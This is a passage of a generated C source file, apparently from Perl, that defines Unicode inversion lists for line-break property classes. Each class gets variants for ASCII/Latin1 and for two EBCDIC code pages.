0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2066, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CM_invlist[] = { /* for EBCDIC 037 */ - 506, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0xFF, - 0x100, - 0x300, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2066, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__CP_invlist[] = { /* for ASCII/Latin1 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x29, - 0x2A, - 0x5D, - 0x5E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CP_invlist[] = { /* for EBCDIC 1047 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBD, - 0xBE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CP_invlist[] = { /* for EBCDIC 037 */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBB, - 0xBC -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__CR_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CR_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__CR_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD, - 0xE -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__EB_invlist[] = { /* for all charsets */ - 65, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x261D, - 0x261E, - 0x26F9, - 0x26FA, - 0x270A, - 0x270E, - 0x1F385, - 0x1F386, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4AA, - 0x1F4AB, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE -}; - -static const UV PL_LB__EM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F3FB, - 0x1F400 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__EX_invlist[] = { /* for ASCII/Latin1 */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x22, - 0x3F, - 0x40, - 0x5C6, - 0x5C7, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x6D4, - 0x6D5, - 0x7F9, - 0x7FA, - 0xF0D, - 0xF12, - 0xF14, - 0xF15, - 0x1802, - 0x1804, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x2762, - 0x2764, - 0x2CF9, - 0x2CFA, - 0x2CFE, - 0x2CFF, - 0x2E2E, - 0x2E2F, - 0xA60E, - 0xA60F, - 0xA876, - 0xA878, - 0xFE15, - 0xFE17, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF1F, - 0xFF20, - 0x115C4, - 0x115C6, - 0x11C71, - 0x11C72 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__EX_invlist[] = { /* for EBCDIC 1047 */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5A, - 0x5B, - 0x6F, - 0x70, - 0x5C6, - 0x5C7, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x6D4, - 0x6D5, - 0x7F9, - 0x7FA, - 0xF0D, - 0xF12, - 0xF14, - 0xF15, - 0x1802, - 0x1804, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x2762, - 0x2764, - 0x2CF9, - 0x2CFA, - 0x2CFE, - 0x2CFF, - 0x2E2E, - 0x2E2F, - 0xA60E, - 0xA60F, - 0xA876, - 0xA878, - 0xFE15, - 0xFE17, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF1F, - 0xFF20, - 0x115C4, - 0x115C6, - 0x11C71, - 0x11C72 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__EX_invlist[] = { /* for EBCDIC 037 */ - 49, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5A, - 0x5B, - 0x6F, - 0x70, - 0x5C6, - 0x5C7, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x6D4, - 0x6D5, - 0x7F9, - 0x7FA, - 0xF0D, - 0xF12, - 0xF14, - 0xF15, - 0x1802, - 0x1804, - 0x1808, - 0x180A, - 0x1944, - 0x1946, - 0x2762, - 0x2764, - 0x2CF9, - 0x2CFA, - 0x2CFE, - 0x2CFF, - 0x2E2E, - 0x2E2F, - 0xA60E, - 0xA60F, - 0xA876, - 0xA878, - 0xFE15, - 0xFE17, - 0xFE56, - 0xFE58, - 0xFF01, - 0xFF02, - 0xFF1F, - 0xFF20, - 0x115C4, - 0x115C6, - 0x11C71, - 0x11C72 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__GL_invlist[] = { /* for ASCII/Latin1 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0xF08, - 0xF09, - 0xF0C, - 0xF0D, - 0xF12, - 0xF13, - 0xFD9, - 0xFDB, - 0x180E, - 0x180F, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__GL_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0xF08, - 0xF09, - 0xF0C, - 0xF0D, - 0xF12, - 0xF13, - 0xFD9, - 0xFDB, - 0x180E, - 0x180F, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__GL_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x34F, - 0x350, - 0x35C, - 0x363, - 0xF08, - 0xF09, - 0xF0C, - 0xF0D, - 0xF12, - 0xF13, - 0xFD9, - 0xFDB, - 0x180E, - 0x180F, - 0x2007, - 0x2008, - 0x2011, - 0x2012, - 0x202F, - 0x2030 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__H2_invlist[] = { /* for all charsets */ - 799, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 